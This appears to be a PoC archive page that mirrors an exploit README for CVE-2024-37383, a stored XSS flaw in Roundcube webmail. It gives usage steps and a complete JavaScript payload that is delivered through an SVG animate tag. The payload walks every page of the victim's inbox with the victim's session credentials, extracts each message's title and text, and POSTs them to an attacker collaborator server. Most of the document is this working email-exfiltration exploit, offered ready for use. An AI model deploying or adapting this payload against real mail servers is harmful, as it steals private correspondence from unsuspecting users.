关联漏洞
描述
Roundcube mail server exploit for CVE-2024-37383 (Stored XSS)
介绍
# Exploit Title: Roundcube mail server exploit for CVE-2024-37383 (Stored XSS)
### Google Dork:
### Exploit Author: AmirZargham
### Vendor Homepage: Roundcube - Free and Open Source Webmail Software
### Software Link: Releases · roundcube/roundcubemail
### Version: Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6.
### Tested on: firefox,chrome
### CVE: CVE-2024-37383
### CWE: CWE-79
### Platform: MULTIPLE
### Type: WebApps
### Description:
The CVE-2024-37383 vulnerability was discovered in the Roundcube Webmail email client. This is a stored XSS vulnerability that allows an attacker to execute JavaScript code on the user's page. To exploit the vulnerability, all attackers need to do is open a malicious email using a Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6.
### Usage Info:
1 - open the Roundcube_mail_server_exploit_for_CVE-2024-37383.txt and export js file.
2 - Change the web address of the original email (target) and the URL of the receiving server (attacker server).
3 - You can put the code in file SVG <animate> tag and send it to the server. (can use this https://github.com/bartfroklage/CVE-2024-37383-POC)
4 - After the victim clicks, all emails in the mailbox will be sent to your collaborator server.
This code automates the process of retrieving all messages inbox from a Roundcube webmail server and forwarding that data to a specific collaborator server endpoint.
### Here’s a step-by-step breakdown:
### 1. Setup URLs:
The main webmail URL (target) and the receiving server URL (attackerserver) are defined as variables at the beginning for easy configuration.
### 2. Get Total Page Count:
The getPageCount function sends a GET request to the main webmail URL to fetch metadata, including the total number of pages (pagecount).
If pagecount is found, it proceeds to loop through each page.
### 3. Fetch Message IDs from All Pages:
For each page from 1 to pagecount, it constructs a paginated URL to request that page.
Each page’s response is checked for instances of add_message_row(NUMBER) using regex, extracting message IDs from each instance and collecting all IDs in a single list.
### 4. Retrieve Each Message's Content:
For each message ID, the code constructs a URL to request detailed data about that message.
It sends a GET request for each message ID URL, receiving the full response HTML.
### 5. Extract and Clean Message Data:
Within each message response, it uses regex to capture the <title> (message title) and main message content.
Any HTML tags are stripped from the message content to keep only the plain text.
### 6. Send the Data to the Server:
For each extracted message, a POST request is made to the server endpoint with the title and cleaned message content, URL-encoded for proper transmission.
```javascript
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";
// Use regex to extract the main message content
var regex = /<!-- html ignored --><!-- head ignored --><!-- meta ignored -->([\s\S]*?)<\/div>/g;
let messageMatches;
while ((messageMatches = regex.exec(messageResponseText)) !== null) {
// Clean HTML tags from the message content
let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags
// Send the cleaned message and title to the user via POST request
sendMessageToUser(cleanMessage.trim(), title);
}
}
};
// Handle network errors for message request
messageReq.onerror = function() {
// Error handling for message request
};
// Send the request for the current message URL
messageReq.send();
})(newUrl);
});
}
};
// Handle network errors for page request
pageReq.onerror = function() {
completedRequests++; // Increment completed request count even on error
};
// Send the request for the current page
pageReq.send();
})(page);
}
}
} catch (error) {
// Error handling for JSON parsing
}
}
};
// Handle network errors for initial request
req.onerror = function() {
// Error handling for initial request
};
// Send the request
req.send();
}
// Function to send cleaned message and title to the specified user via POST request
function sendMessageToUser(message, title) {
var postReq = new XMLHttpRequest();
postReq.open('POST', attackerserver, true);
postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// Define the response handler for the POST request
postReq.onload = function() {
// Response handler for successful send
};
// Handle network errors for sending message
postReq.onerror = function() {
// Error handling for message send
};
// Send the POST request with the URL-encoded title and message content
postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}
// Usage
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);
```
文件快照
[4.0K] /data/pocs/de5bd11c730b6bc169ed9f2abc5b26dd17871b45
├── [ 10K] README.md
└── [7.6K] Roundcube_mail_server_exploit_for_CVE-2024-37383.js
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。